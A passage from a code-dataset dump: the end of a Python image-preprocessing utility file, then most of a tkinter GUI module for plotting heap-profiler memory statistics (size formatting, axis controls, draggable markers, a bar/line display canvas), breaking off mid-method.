(imgs.shape[1]==1)  #check the channel is 1\n    # build a lookup table mapping the pixel values [0, 255] to\n    # their adjusted gamma values\n    invGamma = 1.0 / gamma\n    table = np.array([((i / 255.0) ** invGamma) * 255 for i in np.arange(0, 256)]).astype(\"uint8\")\n    # apply gamma correction using the lookup table\n    new_imgs = np.empty(imgs.shape)\n    for i in range(imgs.shape[0]):\n        new_imgs[i,0] = cv2.LUT(np.array(imgs[i,0], dtype = np.uint8), table)\n    return new_imgs\n\ndef rgb2gray(rgb):\n    assert (len(rgb.shape)==4)  #4D arrays\n    assert (rgb.shape[1]==3)\n    bn_imgs = rgb[:,0,:,:]*0.299 + rgb[:,1,:,:]*0.587 + rgb[:,2,:,:]*0.114\n    bn_imgs = np.reshape(bn_imgs,(rgb.shape[0],1,rgb.shape[2],rgb.shape[3]))\n    return bn_imgs\n","repo_name":"socoi/Dense_Attention_net","sub_path":"utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"41396647202","text":"from tkinter import *\nimport tkinter.filedialog\nimport tkinter.messagebox\n\nfrom guppy.etc.Descriptor import property_nondata\n\n\nclass MyVar(StringVar):\n    _default = 0.0\n\n    def set(self, value):\n        StringVar.set(self, '%.2g' % value)\n\n\nsuffixes = ('', 'K', 'M', 'G', 'T')\n\n\ndef sizestring(value):\n    value = float(value)\n    sign = 1\n    if value < 0:\n        sign = -1\n        value = - value\n    i = 0\n    while value > 99999:\n        value /= 1000\n        i += 1\n    s = str(int(round(value)))+suffixes[i]\n    if s.endswith('000'+suffixes[i]):\n        s = str(int(round(value/1000)))+suffixes[i+1]\n    if sign == -1:\n        s = '-' + s\n    return s\n\n\ndef percentstring(value):\n    a = abs(value)\n    if 10 <= a <= 9999:\n        return '%d' % round(value)\n    elif 0.01 <= a <= 10:\n        return '%.2g' % value\n    elif a <= 1e-10:\n        return '0'\n    else:\n        return '%.0e' % value\n\n\ndef stringsize(s):\n    if s.isdigit():\n        return int(s)\n    suf = s[-1:].upper()\n    mult = 1000\n    for su in suffixes[1:]:\n        if su == suf:\n            break\n        mult *= 1000\n    else:\n        raise ValueError\n    return int(s[:-1])*mult\n\n\nclass Menu(Menu):\n    # A fix for the .delete() method in Menu.\n    # To delete commands defined in the menu items deleted.\n    # Also changed the comment: INDEX2 is actually INCLUDED.\n    def delete(self, index1, index2=None):\n        \"\"\"Delete menu items between INDEX1 and INDEX2 (included).\"\"\"\n        if index2 is None:\n            index2 = index1\n        # First find out what entries have defined commands.\n        cmds = []\n        for i in range(self.index(index1), self.index(index2)+1):\n            c = str(self.entrycget(i, 'command'))\n            if c in self._tclCommands:\n                # I don't want to delete the command already, since it\n                # seems mystical to do that while the entry is not yet deleted.\n                cmds.append(c)\n        # Delete the menu entries.\n        self.tk.call(self._w, 'delete', index1, index2)\n        # Now that the menu entries have been deleted,\n        # we can delete their commands.\n        for c in cmds:\n            self.deletecommand(c)\n\n\nclass SizeVar(StringVar):\n    _default = 0.0\n\n    def set(self, value):\n        self._value = value\n        s = sizestring(value)\n        StringVar.set(self, s)\n\n\nclass ValueLabel(Label):\n    def __init__(self, *args, **kwds):\n        kwds['width'] = 10\n        Label.__init__(self, *args, **kwds)\n\n\nclass ClickButton(Button):\n    # Button that runs the command directly at the click, not at release.\n    # And has auto-repeat.\n    def __init__(self, master, command, firstdelay=500, thendelay=150, **kwds):\n        Button.__init__(self, master, **kwds)\n        self._command = command\n        self._firstdelay = firstdelay\n        self._thendelay = thendelay\n        self.bind('<Button-1>', self._event_button)\n        self.bind('<ButtonRelease-1>', self._event_release)\n\n    def _event_button(self, event=None):\n        self._command()\n        if event is not None:\n            delay = self._firstdelay\n        else:\n            delay = self._thendelay\n        self._after = self.after(delay, self._event_button)\n\n    def _event_release(self, event):\n        self.after_cancel(self._after)\n        del self._after\n\n\nclass Stats:\n    def __init__(self, mod, fn=None):\n        self.mod = mod\n        self.os = mod.os\n        self.hashlib = mod.hashlib\n        self.fn = fn\n\n    def clear_cache(self):\n        # It is intended to be transparently\n        # automagically reopened when needed.\n        self.stats = None\n        del self.stats\n\n    def get_stats(self):\n        self.open(self.fn)\n        return self.stats\n\n    stats = property_nondata(get_stats)\n\n    def collect(self):\n        if not self.fn:\n            return 0, 0\n\n        stat = self.os.stat(self.fn)\n        if stat == self.laststat:\n            return len(self), 0\n\n        with open(self.fn) as f:\n            str = f.read(self.lastfilesize)\n            md5 = self.hashlib.md5(str.encode('utf-8'))\n            digest = md5.digest()\n            if digest == self.lastdigest:\n                numoldstats = len(self)\n            else:\n                self.loadstr(str, reset=1)\n                numoldstats = 0\n\n            str = f.read()\n\n            self.laststat = self.os.fstat(f.fileno())\n        self.lastfilesize = self.laststat.st_size\n\n        md5.update(str.encode('utf-8'))\n        self.lastdigest = md5.digest()\n        self.loadstr(str)\n\n        numnewstats = len(self.stats)-numoldstats\n\n        return numoldstats, numnewstats\n\n    def open(self, fn):\n        if not fn:\n            self.len_stats = 0\n            self.stats = []\n            self.max_size = 0\n            self.fn = fn\n            return\n\n        with open(fn) as f:\n            str = f.read()\n            lastdigest = self.hashlib.md5(str.encode('utf-8')).digest()\n            laststat = self.os.fstat(f.fileno())\n        self.loadstr(str, reset=1)\n\n        # Update these only if there was no exception so far.\n        self.fn = fn\n        self.lastdigest = lastdigest\n        self.laststat = laststat\n        self.lastfilesize = laststat.st_size\n\n    def loadstr(self, str, reset=0):\n        stats = []\n        lines = str.split('\\n')\n        del str\n        linesiter = iter(lines)\n        max_size = 0\n        while 1:\n            try:\n                st = self.mod.Use.load(linesiter)\n            except StopIteration:\n                break\n            stats.append(st)\n            if st.size > max_size:\n                max_size = st.size\n\n        # Only update self if there were no exception so far\n\n        if reset:\n            self.stats = []\n            self.max_size = 0\n\n        self.max_size = max(self.max_size, max_size)\n        self.stats.extend(stats)\n        self.len_stats = len(self.stats)\n\n    def __getitem__(self, idx):\n        return self.stats[idx]\n\n    def __len__(self):\n        try:\n            return self.len_stats\n        except AttributeError:\n            self.len_stats = len(self.stats)\n            return self.len_stats\n\n    def get_max_size(self):\n        return self.max_size\n\n\nclass ProfileRow:\n    kindwidth = 30\n\n    def __init__(self, master, row, usecolor=1):\n        self.master = master\n        self.row = row\n        if usecolor:\n            colbg = Frame(master=master, bg='black', width=1,\n                          borderwidth=1, relief=GROOVE)\n            self.color = Label(master=colbg, bg='white',\n                               width=1, borderwidth=1, relief=GROOVE)\n            self.color.grid(row=0, column=0)\n            colbg.grid(row=row, column=0, sticky=NW)\n\n        self.rsizevar = SizeVar()\n        self.rsize = Label(\n            master=master, textvariable=self.rsizevar, width=6, anchor=E)\n        self.rpercentvar = StringVar()  # BBIntVar()\n        self.rpercent = Label(\n            master=master, textvariable=self.rpercentvar, width=3, anchor=E)\n        self.dsizevar = SizeVar()\n        self.dsize = Label(\n            master=master, textvariable=self.dsizevar, width=6, anchor=E)\n        self.dpercentvar = StringVar()  # BBIntVar()\n        self.dpercent = Label(\n            master=master, textvariable=self.dpercentvar, width=3, anchor=E)\n        self.kindvar = StringVar()\n        self.kind = Label(master=master, textvariable=self.kindvar, anchor=NW,\n                          width=self.kindwidth, justify=LEFT)\n\n        self.rsize.grid(row=row, column=1, sticky=NE)\n        self.rpercent.grid(row=row, column=2, sticky=NE)\n        self.dsize.grid(row=row, column=3, sticky=NE)\n        self.dpercent.grid(row=row, column=4, sticky=NE)\n        self.kind.grid(row=row, column=5, sticky=NW)\n\n    def set_color_size_percent_kind(self, color, rsize, rpercent, dsize, dpercent, kind):\n        self.set_color(color)\n        if color is not None:\n            self.set_color(color)\n        self.rsizevar.set(rsize)\n        if rpercent is None:\n            rpercent = ''\n        else:\n            rpercent = str(int(round(rpercent)))\n        self.rpercentvar.set(rpercent)\n\n        self.dsizevar.set(dsize)\n        dpercent = str(int(round(dpercent)))\n        self.dpercentvar.set(dpercent)\n\n        self.set_kind(kind)\n\n    def set_color(self, color):\n        self.color.configure(bg=color)\n\n    def set_kind(self, kind):\n        self.kindtext = kind\n\n        if len(kind) > self.kindwidth:\n            import textwrap\n            kind = textwrap.fill(kind, width=self.kindwidth)\n        self.kindvar.set(kind)\n\n    def clear(self):\n        self.set_color_size_percent_kind(self.master['bg'], 0, 0, 0, 0, '--')\n\n\nclass AxisControl:\n    scale_table = [1, 2, 5]\n    while scale_table[-1] < 1e12:\n        scale_table.append(scale_table[-3] * 10)\n\n    def __init__(self, master,\n                 name,\n                 range,\n                 grid,\n                 unit,\n                 rangecommand,\n                 gridcommand,\n                 autocommand=None\n                 ):\n        small = 0\n\n        self.name = name\n        self.unit = unit\n        self.range = range\n        self.rangecommand = rangecommand\n\n        self.frame = frame = Frame(master, borderwidth=2, relief=GROOVE)\n\n        self.rangevar = SizeVar()\n        self.rangevar.set(range)\n        rangeval = Entry(master=self.frame,\n                         # anchor=E,\n                         width=4,\n                         textvar=self.rangevar,\n                         #font=('fixed', '16', 'bold'),\n                         #font=('terminal', '16', 'bold'),\n                         #font=('terminal', '14'),\n                         font=('fixed', '14'),\n                         # bg='black',fg='yellow'\n                         bg='#fdd'\n                         )\n        rangeval.bind('<KeyPress-Return>', self.event_range_enter)\n\n        namelabel = Menubutton(frame, text=name, relief='raised', anchor=W)\n\n        namemenu = Menu(namelabel)\n        namelabel['menu'] = namemenu\n\n        if autocommand:\n            self.autovar = BooleanVar()\n            self.autovar.set(True)\n            namemenu.add_checkbutton(\n                # autobutton = Checkbutton(frame,\n                label='Auto',\n                variable=self.autovar,\n                command=autocommand,\n                # relief=RAISED\n            )\n            autobutton = Checkbutton(frame,\n                                     text='Auto',\n                                     variable=self.autovar,\n                                     command=autocommand,\n                                     relief=RAISED\n                                     )\n\n        else:\n            self.autovar = None\n\n        if gridcommand:\n            self.gridvar = BooleanVar()\n            self.gridvar.set(grid)\n            namemenu.add_checkbutton(\n                label='Grid',\n                variable=self.gridvar,\n                command=lambda: gridcommand(self.gridvar.get()),\n            )\n\n            gridbutton = Checkbutton(frame,\n                                     text='Grid',\n                                     variable=self.gridvar,\n                                     command=lambda: gridcommand(\n                                         self.gridvar.get()),\n                                     relief=RAISED\n                                     )\n\n        rangelabel = Label(frame, text='Range')\n\n        if name == 'Y' and small:\n            padx = 5\n            pady = 0\n        else:\n            padx = 3\n            pady = 3\n        ud = Frame(frame)\n        rangeup = ClickButton(ud, text='+',\n                              pady=pady, padx=padx,\n                              font=('fixed', 8),\n                              command=lambda: self.range_button(1))\n\n        rangedown = ClickButton(ud, text='-',\n                                pady=pady, padx=padx,\n                                font=('fixed', 8),\n                                command=lambda: self.range_button(-1))\n\n        rangedown.grid(row=0, column=0)\n        rangeup.grid(row=0, column=1)\n        row = 0\n\n        if small and name == 'Y':\n            namelabel.grid(row=0, rowspan=1, column=0)\n            rangeup.grid(row=0, column=1, sticky=W)\n\n            autobutton.grid(row=1, column=0)\n\n            rangedown.grid(row=1, column=1, sticky=W)\n            rangeval.grid(row=2, column=0, columnspan=2,\n                          sticky=W, padx=3, pady=3)\n\n        elif small and name == 'X':\n            namelabel.grid(row=0, column=0)\n            rangeval.grid(row=0, column=1, sticky=W, padx=3, pady=3)\n            rangedown.grid(row=0, column=2, sticky=W)\n            rangeup.grid(row=0, column=3, sticky=W)\n\n        else:\n            namelabel.grid(row=row, column=0, sticky=N+W,\n                           ipadx=0, ipady=0, padx=2, pady=2)\n            rangelabel.grid(row=row, column=1, sticky=W)\n            ud.grid(row=row, column=2, padx=2)\n            row += 1\n\n            if gridcommand:\n                gridbutton.grid(row=row, column=0, sticky=W)\n\n            rangeval.grid(row=row, column=1, padx=3, pady=3)\n            if autocommand:\n                pass\n                autobutton.grid(row=row, column=2)\n\n    def cmd_range(self):\n        pass\n\n    def event_range_enter(self, event):\n        str = self.rangevar.get()\n        try:\n            rng = stringsize(str)\n            if rng not in self.scale_table:\n                if not 1 <= rng <= self.scale_table[-1]:\n                    raise ValueError\n        except ValueError:\n            self.frame.bell()\n            self.errorbox(\"\"\"\\\nInvalid range entry.\nIt should be a positive integer with an optional multiplier:\nK, M, G, or T\n(1000, 1e6, 1e9, 1e12)\nMaximum range is 1T.\"\"\")\n\n            self.rangevar.set(self.range)\n        else:\n            if self.autovar:\n                self.autovar.set(False)\n            self.setrange(rng)\n\n    def auto_command(self):\n        pass\n\n    def errorbox(self, msg):\n        tkinter.messagebox.showerror(master=self.frame, message=msg)\n\n    def fit(self, range):\n        range = self.scale_by_table(range)\n        self.setrange(range)\n\n    def range_button(self, d):\n        if self.autovar:\n            self.autovar.set(False)\n        self.range_change(d)\n\n    def range_change(self, d):\n        range = self.range\n        srange = self.scale_by_table(range)\n        if srange > range:\n            if d > 0:\n                d -= 1\n        i = self.scale_table.index(srange)\n        i += d\n        if i >= len(self.scale_table):\n            i = len(self.scale_table) - 1\n        if i < 0:\n            i = 0\n\n        self.setrange(self.scale_table[i])\n\n    def setrange(self, range):\n        if range != self.range:\n            self.range = range\n            self.rangevar.set(range)\n            self.rangecommand(range)\n\n    def scale_by_table(self, s):\n        # Return the scale from table that is higher or equal to s\n        for ts in self.scale_table:\n            if ts >= s:\n                return ts\n        return self.scale_table[-1]\n\n\nWM = 1\n\n\nclass Marker:\n    def __init__(self, d, tag, name, pos, poscommand=None):\n        self.d = d\n        self.tag = tag\n        self.name = name\n        self.xmarker = pos\n        self.butdown = 0\n        self.ocursor = d.ocursor\n        self.cursor = self.ocursor\n        self.poscommand = None\n        self.intpos = None\n        self.moving = 0\n        self.selected = 0\n        self.entered = 0\n        self.butdownselected = 0\n        self.motion_id = None\n        self.create()\n\n    def bind(self, sequence, function):\n        tag = self.tag\n        self.d.drawingarea.tag_bind(tag, sequence, function)\n        if WM:\n            self.xlabel.bind(sequence, function)\n        else:\n            self.d.xmarks.tag_bind(tag, sequence, function)\n\n    def coords(self, canx):\n        self.d.drawingarea.coords(self.tag,\n                                  canx, 0,\n                                  canx, -int(self.d.boty))\n\n        self.d.xmarks.coords(self.tag, canx, 10)\n\n    def create(self):\n        tag = self.tag\n        text = self.name\n        pos = 0\n\n        self.d.drawingarea.create_line(pos, 0, pos, 20-self.d.boty, stipple='gray12',\n                                       width=4, tags=(tag,))\n        if WM:\n            label = self.xlabel = Label(\n                self.d.xmarks, text=text, padx=2, pady=2, relief=RAISED)\n            self.d.xmarks.create_window(pos, 0, window=label, tags=(tag,))\n        else:\n            self.d.xmarks.create_text(pos, 0, text=text, tags=(tag,))\n\n        self.bind('<Button-1>', self.event_button_1)\n        self.bind('<ButtonRelease-1>', self.event_button_1_release)\n        self.bind('<Enter>', self.event_enter)\n        self.bind('<Leave>', self.event_leave)\n\n        self.d.drawingarea.bind('<Enter>', self.event_enter_movearea, add='+')\n        self.d.drawingarea.bind(\n            '<Button-1>', self.event_button_1_movearea, add='+')\n\n    def event_button_1(self, event):\n        self.butdown = 1\n        if self.selected:\n            self.butdownselected = 1\n            if self.moving:\n                self.event_stop_move(event)\n        else:\n            self.butdownselected = 0\n\n        self.has_moved = 0\n        self.event_selected(event)\n        self.event_start_move(event)\n\n    def event_button_1_movearea(self, event):\n        if not self.entered:\n            self.event_deselected(event)\n\n    def event_button_1_release(self, event):\n        self.butdown = 0\n        if self.has_moved == self.butdownselected:\n            if self.selected:\n                if self.moving and not (self.disloy <= event.y_root < self.dishiy):\n                    self.event_stop_move(None)\n                    self.setcursor(self.ocursor)\n            else:\n                self.setcursor(self.ocursor)\n            return\n        self.event_deselected(event)\n\n    def event_deselected(self, event):\n        if self.selected:\n            self.selected = 0\n            self.xlabel['relief'] = RAISED\n            if self.moving:\n                self.event_stop_move(event)\n\n    def event_enter(self, event):\n        self.entered = 1\n        if not self.moving:\n            if self.selected:\n                self.event_start_move(event)\n            else:\n                self.setcursor('hand2')\n\n    def event_enter_movearea(self, event):\n        if self.selected and not self.moving:\n            self.event_start_move(event)\n\n    def event_leave(self, event):\n        self.entered = 0\n        if not self.moving:\n            self.setcursor(self.ocursor)\n        elif not (self.fraloy <= event.y_root < self.frahiy):\n            pass\n\n    def event_motion(self, event):\n        self.has_moved = 1\n\n        inside = (self.fraloy <= event.y_root < self.frahiy)\n\n        if inside != self.inside:\n            self.inside = inside\n            if not inside:\n                self.out_event = event\n                self.event_stop_move(None)\n                if self.butdown:\n                    self.setcursor('circle')\n                    self.d.bind_motion(self.event_motion_downout)\n            else:\n                self.in_event = event\n                #self.delta += self.out_event.x_root - event.x_root\n                self.event_start_move(event)\n                return\n\n        if inside:\n            self.moved(event)\n            self.setxvars()\n\n    def event_motion_downout(self, event):\n        # We don't get an enter while button is pressed down\n        # Emulate an enter if we detect entering\n        inside = (self.fraloy <= event.y_root < self.frahiy)\n        if inside:\n            self.d.unbind_motion(self.event_motion_downout)\n            self.event_enter_movearea(event)\n\n    def event_selected(self, event):\n        for m in self.d.marks:\n            m.event_deselected(event)\n        self.selected = 1\n        self.xlabel['relief'] = SUNKEN\n\n    def event_start_move(self, event):\n        self.moving = 1\n        self.fralox = self.d.frame.winfo_rootx()\n        self.frahix = self.fralox + self.d.frame.winfo_width()\n\n        self.fraloy = self.d.frame.winfo_rooty()\n        self.frahiy = self.fraloy + self.d.frame.winfo_height()\n\n        self.dislox = self.d.drawingarea.winfo_rootx()\n        self.dishix = self.dislox + self.d.drawingarea.winfo_width()\n        self.disloy = self.d.drawingarea.winfo_rooty()\n        self.dishiy = self.disloy + self.d.drawingarea.winfo_height()\n\n        self.down_event = event\n        self.prev_event = event\n        self.down_xmarker = self.xmarker\n        self.down_xvfrac = self.d.drawingarea.xview()[0]\n        self.inside = 1\n        self.delta = 0\n        self.lift()\n\n        self.motion_id = self.d.bind_motion(self.event_motion)\n        self.moved(event)\n\n    def event_stop_move(self, event):\n        assert self.moving\n        self.moving = 0\n\n        self.d.unbind_motion(self.motion_id)\n        if event is not None:\n            self.moved(event)\n            self.setxvars()\n\n        if self.entered and not self.selected:\n            self.setcursor('hand2')\n        else:\n            self.setcursor(self.ocursor)\n\n    def lift(self):\n        self.d.xmarks.tag_raise(self.tag)\n        if WM:\n            self.xlabel.lift()\n        self.d.drawingarea.tag_raise(self.tag)\n\n    def move(self, sample):\n        canx = self.d.canxscaled(sample)\n        self.d.xview_pos(canx)\n        self.coords(canx)\n        self.xmarker = sample\n        self.lift()\n\n    def moved(self, event):\n        curx = event.x_root\n        cury = event.y_root\n        prevx = self.prev_event.x_root\n\n        if prevx > self.dishix and curx < self.dishix:\n            prevx = self.dishix\n        elif prevx < self.dislox and curx > self.dislox:\n            prevx = self.dislox\n\n        markx = self.d.canxscaled(self.xmarker) - \\\n            self.d.drawingarea.canvasx(0) + self.dislox\n\n        dx = curx - prevx\n        l = r = 1\n\n        if self.xmarker >= self.d.numstats-1:\n            r = 0\n\n        if self.xmarker <= 0:\n            l = 0\n\n        stop = 0\n\n        # Should we allow to move it back or not\n        # if it is at an endpoint?\n        # Here we don't move it at all, to make marker pos correspond\n        # more closely with mouse position.\n\n        if ((r == 0 and curx > markx) or (l == 0 and curx < markx)):\n            l = r = 0\n\n        if self.butdown:\n            if curx > self.dishix:\n                l = 0\n            elif curx < self.dislox:\n                r = 0\n        else:\n            if not (self.dislox <= curx < self.dishix and\n                    self.disloy <= cury < self.dishiy):\n                l = r = 0\n                stop = 1\n\n        if l and r:\n            self.setcursor('sb_h_double_arrow')\n        elif l:\n            self.setcursor('sb_left_arrow')\n            if dx > 0:\n                dx = 0\n        elif r:\n            self.setcursor('sb_right_arrow')\n            if dx < 0:\n                dx = 0\n        else:\n            self.setcursor('dot')\n            dx = 0\n\n        self.prev_event = event\n\n        sample = self.d.limitx(self.xmarker + dx / self.d.xscale)\n        canx = self.d.canxscaled(sample)\n        self.d.xview_pos(canx)\n        self.coords(canx)\n        self.xmarker = sample\n        if stop and self.moving:\n            self.event_stop_move(None)\n\n    def set(self):\n        canx = self.d.canxscaled(self.xmarker)\n        self.coords(canx)\n        self.lift()\n\n    def set_poscommand(self, command):\n        self.poscommand = command\n        self.intpos = None\n\n    def setcursor(self, cursor):\n        if cursor != self.cursor:\n            self.xlabel['cursor'] = cursor\n            self.cursor = cursor\n        self.d.setcursor(cursor)\n\n    def setxvars(self):\n        if self.poscommand:\n            intpos = int(round(self.xmarker))\n            if intpos != self.intpos:\n                self.intpos = intpos\n                self.poscommand(intpos)\n\n\nclass Display:\n    orgwidth = 300\n    orgheight = 300\n    minwidth = 30\n    minheight = 30\n\n    def __init__(self, master,\n                 scale_table,\n                 numkindrows,\n                 getkindcolor,\n                 xrange=100,\n                 yrange=100,\n                 xgrid=False,\n                 ygrid=False,\n                 graphtype='Bars',\n                 statype='Size',\n                 ):\n        self.master = master\n        self.scale_table = scale_table\n        self.numkindrows = numkindrows\n        self.getkindcolor = getkindcolor\n        self.xrange = xrange\n        self.yrange = yrange\n        self.xgrid = xgrid\n        self.ygrid = ygrid\n        self.var_xgrid = BooleanVar()\n        self.var_xgrid.set(xgrid)\n        self.var_ygrid = BooleanVar()\n        self.var_ygrid.set(ygrid)\n        self.graphtype = graphtype\n        self.statype = statype\n\n        self.numstats = 0\n        self.ymaxs = []\n        self.ymins = []\n        self.ymax = 1\n\n        # To get around problems with dynamic unbinding / unbinding of motion,\n        # I handle it myself. in the bind_motion method using the following.\n        self.bound_motions = {}\n        self.event_motion_id = None\n        #\n\n        self.frame = frame = Frame(master,\n                                   borderwidth=3,\n                                   relief=SUNKEN,\n                                   # relief=GROOVE,\n                                   # background='green'\n                                   )\n        #self.frame = frame = Frame(master,background='green')\n\n        bordercolor = '#ccc'\n        screencolor = '#e0e0e0'\n        xscrollincrement = 1\n        frame = Frame(self.frame)\n        frame.grid(row=0, column=0)\n        #move = Frame(frame, height=10,width=10,background='red', relief=RAISED)\n        #move = Button(self.frame, height=10,width=10,background='red')\n        self.drawingarea = C = Canvas(frame,\n                                      width=self.orgwidth,\n                                      height=self.orgheight,\n                                      xscrollincrement=xscrollincrement,\n                                      # background='black',\n                                      background=screencolor,\n                                      bd=0,\n                                      xscrollcommand=self.xscrollbar_set,\n                                      # confine=False,\n                                      )\n\n        #self.yctrlframe = Frame(frame, borderwidth=2,relief=GROOVE)\n        self.yscrollbar = Scrollbar(frame, orient=VERTICAL, width=10)\n        # self.yscrollbar['command']=self.drawingarea.yview\n        #self.drawingarea['yscrollcommand'] = self.yscrollbar_set\n        # self.yscrollbar.pack(side=RIGHT,fill=Y)\n        #self.yctrlframe.grid(row = 0, column = 0,sticky=N+S,padx=3,pady=3)\n\n        self.xaxis = Canvas(frame,\n                            width=C['width'],\n                            height=20,\n                            xscrollincrement=xscrollincrement,\n                            bd=0,\n                            background=bordercolor,\n                            #xscrollcommand = self.xscrollbar_set\n                            # confine=False,\n                            )\n        self.xmarks = Canvas(frame,\n                             width=C['width'],\n                             height=20,\n                             xscrollincrement=xscrollincrement,\n                             bd=0,\n                             background=bordercolor,\n                             #xscrollcommand = self.xscrollbar_set\n                             # confine=False,\n                             )\n        self.yaxis = Canvas(frame, height=C['height'], width=50,\n                            bd=0,\n                            background=bordercolor,\n                            )\n\n        self.xscrollbar = Scrollbar(frame, orient=HORIZONTAL,\n                                    command=self.drawingarea_xview,\n                                    width=12,\n                                    background=bordercolor,\n\n                                    )\n\n        xy = Canvas(frame, width=50, height=20, bd=0,\n                    background=bordercolor,\n                    )\n\n        var_yrange = SizeVar()\n        self.var_yrange = var_yrange\n\n        row = 0\n\n        Label(frame,\n              textvar=var_yrange,\n              bd=0,\n              relief=FLAT,\n              background=bordercolor).grid(\n                  row=row,\n                  column=0,\n                  sticky=W+E+N+S)\n\n        self.xscrollbar.grid(row=row, column=1, sticky=E+W)\n\n        row += 1\n\n        self.yunit = Label(frame,\n                           text='Bytes',\n                           bd=0,\n                           relief=FLAT,\n                           background=bordercolor)\n        self.yunit.grid(\n            row=row,\n            column=0,\n            sticky=W+E+N+S)\n\n        self.xmarks.grid(row=row, column=1, sticky=W+E+N)\n\n        row += 1\n\n        self.yaxis.grid(row=row, column=0)\n        C.grid(row=row, column=1, sticky=W+E)\n\n        row += 1\n\n        xy.grid(row=row, column=0)\n        self.xaxis.grid(row=row, column=1, sticky=W+E+N)\n\n        self.botx = float(C['width'])\n        self.boty = float(C['height'])\n        self.chdim = self.getchdim()\n        self.canx0 = 0\n        self.tmax = 0\n        self.xscale = self.botx / self.xrange\n        self.yscale = self.boty / self.yrange\n        self.xi0 = None\n\n        xy.create_line(0, 2, 44, 2)\n        xy.create_line(49, 6, 49, 22)\n        xy.create_text(25, 14, text='Sample')\n\n        self.setscrollregion()\n\n        self.ocursor = self.drawingarea['cursor']\n        self.cursor = self.ocursor\n\n        self.marks = []\n\n    def bind_motion(self, function):\n        if self.event_motion_id == None:\n            self.event_motion_id = self.frame.bind_all(\n                '<Motion>', self.event_motion, add='+')\n        self.bound_motions[function] = self.bound_motions.get(function, 0) + 1\n        return function\n\n    def event_motion(self, event):\n        for f in list(self.bound_motions.keys()):\n            f(event)\n\n    def unbind_motion(self, funcid):\n        n = self.bound_motions[funcid] - 1\n        if n == 0:\n            del self.bound_motions[funcid]\n        else:\n            self.bound_motions[funcid] = n\n\n    def new_xmarker(self, name=None, pos=0):\n        tag = 'M%d' % len(self.marks)\n        if name is None:\n            name = tag\n        m = Marker(self, tag, name, pos)\n        self.marks.append(m)\n        return m\n\n    def canxscaled(self, x):\n        return x * self.xscale + self.canx0\n\n    def canyscaled(self, y):\n        return - y * self.yscale\n\n    def cmd_xgrid(self):\n        self.xgrid = self.var_xgrid.get()\n        self.drawxaxis()\n\n    def cmd_ygrid(self):\n        self.ygrid = self.var_ygrid.get()\n        self.drawyaxis()\n\n    def cmd_yrange_auto(self):\n        self.ymax = None\n        self.yrange_auto()\n\n    def limitx(self, x):\n        lo = 0\n        hi = max(0, self.numstats-1)\n        if x < lo:\n            return lo\n        if x > hi:\n            return hi\n        return x\n\n    def resize(self, dx, dy):\n        x = self.botx + dx\n        y = self.boty + dy\n        if x < self.minwidth:\n            x = self.minwidth\n            dx = x - self.botx\n        if y < self.minheight:\n            y = self.minheight\n            dy = y - self.boty\n\n        xv = self.drawingarea.xview()\n        yv = self.drawingarea.yview()\n\n        self.drawingarea.configure(width=x, height=y)\n        self.xaxis.configure(width=x)\n        self.xmarks.configure(width=x)\n        self.yaxis.configure(height=y)\n\n        xscale = float(x) / self.xrange\n        yscale = float(y) / self.yrange\n\n        xscaleorg = self.drawingarea.canvasx(0)\n        yscaleorg = 0\n\n        xq = xscale / self.xscale\n        yq = yscale / self.yscale\n\n        self.drawingarea.scale(\"all\", xscaleorg, yscaleorg, xq, yq)\n        #self.drawingarea.scale(\"barsep\",xscaleorg, yscaleorg, xq, yq)\n        #self.drawingarea.scale(\"xmarker\",xscaleorg, yscaleorg, xq, yq)\n\n        self.canx0 = xscaleorg + (self.canx0 - xscaleorg) * xq\n\n        self.botx = x\n        self.boty = y\n        self.xscale = xscale\n        self.yscale = yscale\n\n        self.drawxaxis()\n        self.drawyaxis()\n\n        self.setscrollregion()\n\n        # If the size changed much, the canvas may scroll though it shouldn't.\n        # Notes 11 and 26 Oct 2005 .\n        # I save the current scroll position.\n        # The caller has to call the .moveback() method some time later.\n        self.wantedpos = xv[0]\n\n        return dx, dy\n\n    def moveback(self):\n        self.frame.update_idletasks()\n        self.xview(MOVETO, self.wantedpos)\n\n    def draw():\n        self.drawxaxis()\n        self.drawyaxis()\n\n    def draw_stat(self, idx, stat):\n        graphtype = self.graphtype\n        statype = self.statype\n\n        rows = stat.get_rows_n_and_other(self.numkindrows, statype)\n        if statype == 'Size':\n            kindval = dict([(r.name, r.size) for r in rows])\n        else:\n            kindval = dict([(r.name, r.count) for r in rows])\n        order = [r.name for r in rows]\n\n        order.reverse()\n\n        lastkindval = self.lastkindval\n        self.lastkindval = kindval\n\n        C = self.drawingarea\n\n        yscale = self.yscale\n        xscale = self.xscale\n\n        x0 = idx * xscale - 0.5 * xscale + self.canx0\n        x1 = x0 + xscale\n        ymax = 0\n        ymin = 0\n\n        y = 0\n\n        bw = 0.05*xscale\n\n        ocolor = None\n        for k in order:\n            dy = kindval.get(k, 0)\n            if not dy:\n                continue\n            color = self.getkindcolor(k)\n\n            if graphtype == 'Bars':\n                line = C.create_rectangle(x0+bw, -y*yscale,\n                                          x1-bw, -(y+dy)*yscale,\n                                          fill=color,\n                                          outline=color,\n                                          width=0,\n                                          tags=(\"a\",))\n                if color == ocolor:\n                    C.create_line(x0, -(y)*yscale,\n                                  x1, -(y)*yscale,\n                                  fill='black',\n                                  tags=('barsep',))\n                ocolor = color\n                y += dy\n            elif graphtype == 'Lines':\n                if dy > ymax:\n                    ymax = dy\n                elif dy < ymin:\n                    ymin = dy\n                y0 = lastkindval.get(k)\n                if y0 is None:\n                    y0 = dy\n                    x00 = x0\n                else:\n                    x00 = x0 - 0.4 * xscale\n                    C.create_line(x00,  - y0 * yscale,\n                                  x1 - 0.6 * xscale,  - dy * yscale,\n                                  fill=color,\n                                  tags=('a',))\n\n                C.create_line(x1 - 0.6 * xscale,  - dy * yscale,\n                              x1 - 0.4 * xscale,  - dy * yscale,\n                              fill=color,\n                              width=4,\n                              tags=('a',))\n\n        if graphtype == 'Bars':\n            if y > ymax:\n                ymax = y\n            elif y < ymin:\n                ymin = y\n\n        assert idx == len(self.ymaxs) == len(self.ymins)\n        self.ymaxs.append(ymax)\n        self.ymins.append(ymin)\n\n        if idx > self.tmax:\n            self.tmax = idx\n\n    def drawingarea_xview(self, cmd, what, unit=None):\n        if cmd == 'scroll' and unit == 'units':\n            what = int(max(2, self.xscale)*int(what))\n\n        self.xview(cmd, what, unit)\n\n    def setcursor(self, cursor):\n        if cursor != self.cursor:\n            self.drawingarea['cursor'] = 